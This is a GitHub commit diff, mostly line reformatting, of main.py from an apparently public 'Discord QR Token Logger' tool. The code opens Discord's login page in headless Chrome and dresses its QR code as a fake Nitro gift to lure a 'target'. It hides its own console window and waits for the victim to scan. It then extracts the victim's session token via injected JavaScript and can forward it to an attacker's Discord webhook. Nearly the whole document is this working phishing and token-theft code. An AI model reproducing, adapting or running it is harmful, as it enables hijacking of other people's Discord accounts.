Update main.py

This commit is contained in:
mouadessalim 2022-09-28 08:48:03 +01:00 committed by GitHub
parent 4f6c97ab3c
commit 34997889e3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

79
main.py
View File

@ -39,7 +39,7 @@ from logger import log_unknown_exceptions
def main(webhook_url: str) -> None: def main(webhook_url: str) -> None:
"""The main function of the program. """The main function of the program.
\nProgram by Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0 \nProgram by Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0
""" """
Write.Print('\n\n[!] Generating QR code...', Colors.red_to_purple) Write.Print('\n\n[!] Generating QR code...', Colors.red_to_purple)
opts = webdriver.ChromeOptions() opts = webdriver.ChromeOptions()
opts.add_argument('--headless') opts.add_argument('--headless')
@ -54,20 +54,21 @@ def main(webhook_url: str) -> None:
try: try:
main.driver = webdriver.Chrome( main.driver = webdriver.Chrome(
service=Service(ChromeDriverManager().install()), service=Service(ChromeDriverManager().install()),
options=opts) options=opts)
except WebDriverException: except WebDriverException:
raise SystemExit('WebDriverException : have you tried installing the latest version of Google Chrome?') raise SystemExit(
'WebDriverException : have you tried installing the latest version of Google Chrome?')
main.driver.implicitly_wait(5) main.driver.implicitly_wait(5)
main.driver.get('https://discord.com/login') main.driver.get('https://discord.com/login')
time.sleep(5) # Attempted to do this with WebDriverWait but it resulted in a # Attempted to do this with WebDriverWait but it resulted in a
# number of issues. time.sleep(5)
# number of issues.
source = BeautifulSoup(main.driver.page_source, features='lxml') source = BeautifulSoup(main.driver.page_source, features='lxml')
qrg = QRGrabber('resources') qrg = QRGrabber('resources')
try: try:
@ -80,25 +81,34 @@ def main(webhook_url: str) -> None:
with TemporaryDirectory(dir='.') as td: with TemporaryDirectory(dir='.') as td:
with NamedTemporaryFile(dir=td, suffix='.png') as tp1: with NamedTemporaryFile(dir=td, suffix='.png') as tp1:
tp1.write(base64.b64decode(qr_code.replace('data:image/png;base64,', ''))) tp1.write(
Write.Print('\n[!] Generating template for QR code...', Colors.red_to_purple) base64.b64decode(
qr_code.replace(
'data:image/png;base64,',
'')))
Write.Print(
'\n[!] Generating template for QR code...',
Colors.red_to_purple)
with NamedTemporaryFile(dir=td, suffix='.png') as tp2: with NamedTemporaryFile(dir=td, suffix='.png') as tp2:
qrg.generate_qr_for_template(tp1, tp2) qrg.generate_qr_for_template(tp1, tp2)
Write.Print('\n[!] Generating Discord Nitro template for QR code...', Write.Print('\n[!] Generating Discord Nitro template for QR code...',
Colors.red_to_purple) Colors.red_to_purple)
qrg.generate_nitro_template(tp2) qrg.generate_nitro_template(tp2)
Write.Print('\n[#] Waiting for target to login using the QR code...', Colors.red_to_purple) Write.Print(
pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.", '\n[#] Waiting for target to login using the QR code...',
Colors.red_to_purple)
pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.",
'Waiting for target') 'Waiting for target')
time.sleep(3) time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) ctypes.windll.user32.ShowWindow(
ctypes.windll.kernel32.GetConsoleWindow(), 0)
while True: while True:
if discord_login != main.driver.current_url: if discord_login != main.driver.current_url:
try: try:
os.remove('discord_gift.png') os.remove('discord_gift.png')
except: except BaseException:
pass pass
token = main.driver.execute_script(''' token = main.driver.execute_script('''
window.dispatchEvent(new Event('beforeunload')); window.dispatchEvent(new Event('beforeunload'));
@ -112,14 +122,19 @@ def main(webhook_url: str) -> None:
break break
main.driver.quit() main.driver.quit()
pystray_icon.icon.notify("The target scanned the QR-code sucessfuly.", 'New Victim !') pystray_icon.icon.notify(
"The target scanned the QR-code sucessfuly.",
'New Victim !')
time.sleep(3) time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5) ctypes.windll.user32.ShowWindow(
ctypes.windll.kernel32.GetConsoleWindow(), 5)
try: try:
token_info = TokenInfo(token) token_info = TokenInfo(token)
del token del token
Write.Print(f"\n\n[?] The following token has been grabbed: {token_info.token}", Colors.rainbow) Write.Print(
f"\n\n[?] The following token has been grabbed: {token_info.token}",
Colors.rainbow)
if webhook_url is not None: if webhook_url is not None:
try: try:
@ -139,9 +154,11 @@ if __name__ == "__main__":
def pystray_icon(): def pystray_icon():
def window_state(_, item): def window_state(_, item):
if str(item) == 'Show': if str(item) == 'Show':
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5) return ctypes.windll.user32.ShowWindow(
ctypes.windll.kernel32.GetConsoleWindow(), 5)
elif str(item) == 'Hide': elif str(item) == 'Hide':
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) return ctypes.windll.user32.ShowWindow(
ctypes.windll.kernel32.GetConsoleWindow(), 0)
elif str(item) == 'Quit': elif str(item) == 'Quit':
pystray_icon.icon.stop() pystray_icon.icon.stop()
main.driver.quit() main.driver.quit()
@ -154,20 +171,34 @@ if __name__ == "__main__":
)) ))
pystray_icon.icon.run() pystray_icon.icon.run()
System.Title('QR DISCORD LOGIN - By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0') System.Title(
'QR DISCORD LOGIN - By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0')
System.Size(140, 35) System.Size(140, 35)
print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(BANNER), 1)) print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(BANNER), 1))
print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube("By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0")), 1)) print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube(
print(Colorate.Horizontal(Colors.rainbow, Box.Lines("https://github.com/9P9/Discord-QR-Token-Logger").replace('', "$"), 1), "\n") "By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0")), 1))
print(Colorate.Horizontal(Colors.rainbow, Box.Lines(
"https://github.com/9P9/Discord-QR-Token-Logger").replace('', "$"), 1), "\n")
confir = Write.Input("[*] Do you want to use a Discord Webhook URL ? [y/n] -> ", Colors.green_to_cyan, interval=0.01) confir = Write.Input(
"[*] Do you want to use a Discord Webhook URL ? [y/n] -> ",
Colors.green_to_cyan,
interval=0.01)
if (confir == YES) or (confir == YES.upper()): if (confir == YES) or (confir == YES.upper()):
th_main = Thread(target=main, args=(Write.Input("\n[*] Enter your webhook url -> ", Colors.green_to_cyan, interval=0.01),)) th_main = Thread(
target=main,
args=(
Write.Input(
"\n[*] Enter your webhook url -> ",
Colors.green_to_cyan,
interval=0.01),
))
elif (confir == NO) or (confir == NO.upper()): elif (confir == NO) or (confir == NO.upper()):
th_main = Thread(target=main, args=(None,)) th_main = Thread(target=main, args=(None,))
else: else:
raise SystemExit('Failed to recognise an input of either \'y\' or \'n\'.') raise SystemExit(
'Failed to recognise an input of either \'y\' or \'n\'.')
Thread(target=pystray_icon).start() Thread(target=pystray_icon).start()
th_main.start() th_main.start()